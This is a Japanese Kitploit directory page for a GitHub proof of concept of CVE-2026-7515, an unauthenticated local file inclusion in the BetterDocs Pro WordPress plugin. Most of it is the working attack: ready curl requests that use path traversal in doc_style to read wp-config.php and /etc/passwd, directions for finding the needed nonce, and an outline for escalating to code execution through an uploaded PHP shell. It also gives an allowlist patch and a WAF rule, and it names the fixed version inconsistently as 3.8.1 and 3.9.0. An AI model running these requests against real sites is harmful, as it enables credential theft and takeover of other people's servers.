Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — 認証不要のローカルファイルインクルージョン | Kitploit
ツール/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

認証不要のローカルファイルインクルージョン

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 認証なしローカルファイルインクルージョン

概要

フィールド値
CVE IDCVE-2026-7515
CVSSスコア9.8 (重大)
CVSSベクトルAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョンBetterDocs Pro <= 3.8.0
修正バージョン3.8.1
研究者Nguyen Ngoc Duc (duc193)
公開日June 18, 2026
CWECWE-98: インクルード/要求文のファイル名の不適切な制御

脆弱性の説明

WordPress用プラグインBetterDocs Proは、バージョン3.8.0まで(同バージョンを含む)において、doc_styleパラメータを介してローカルファイルインクルージョンの脆弱性があります。これにより、認証されていない攻撃者がサーバー上の任意のPHPファイルをインクルードして実行することが可能になります。

汚染解析: ソース → シンク

ソース(ユーザー入力)

ファイル: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 行: 141

root@kitploit:~
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

問題点: $_POST['doc_style']からのユーザー制御入力が、バリデーションなしで直接使用されています。

シンク(危険な関数)

ファイル: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 行: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

問題点: $doc_style変数(ユーザー制御)が、views->get()に渡されるファイルパスに直接挿入され、そのファイルがインクルードされます。

データフロー

root@kitploit:~
HTTP POSTリクエスト
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
バリデーションなし (脆弱なバージョン 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
include()またはrequire()によるファイルインクルージョン
        ↓
任意のPHPコード実行 / ファイル読み取り

差分: 脆弱なバージョン vs 修正バージョン

脆弱なバージョン 3.8.0

root@kitploit:~
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

修正バージョン 3.8.1

root@kitploit:~
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

主な違い

影響を受けるAJAXエンドポイント

両エンドポイントはnoprivフックで登録されており、認証されていないユーザーがアクセス可能です:

root@kitploit:~
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

エンドポイント:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

概念実証

前提条件

  • 有効なencyclopedia_nonce(BetterDocs Encyclopediaブロックがあるページのソースにあります)

手動での悪用

root@kitploit:~
# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Nonceの見つけ方

encyclopedia_nonceはBetterDocs EncyclopediaブロックがレンダリングされるページのJavaScriptで公開されています:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

LFIからRCEへのパス

  1. wp-config.phpを読み取る - データベース資格情報を抽出
  2. PHPシェルをアップロードする - WordPressメディアアップロードまたはテーマエディター経由
  3. 悪意のあるファイルをインクルードする - LFI脆弱性経由
  4. コードを実行する - リモートコード実行を獲得

影響

修復

主な修正

BetterDocs Proをバージョン3.8.1以降に更新してください

手動修正(更新が不可能な場合)

以下のパッチをincludes/Core/Encyclopedia.phpに適用してください:

root@kitploit:~
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

同じ修正を行236にも適用してください。

WAFルール(一時的な緩和策)

doc_styleパラメータのパストラバーサルをブロックするルールを追加:

root@kitploit:~
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

参考情報

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

分析されたファイル

root@kitploit:~
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)
ツールをダウンロード
観点脆弱 (3.8.0)修正済み (3.8.1)
バリデーションなしin_array()によるホワイトリスト
許可される値任意の文字列doc-grid, doc-list, doc-list-2のみ
型チェックなし厳密な比較(===)
影響タイプ深刻度説明
機密性高任意のファイルの読み取り(wp-config.php, /etc/passwdなど)
完全性高ファイルの変更または削除
可用性高サービス拒否
アクセスベクトルネットワークリモートから悪用可能
権限なし認証不要
ユーザー操作なし不要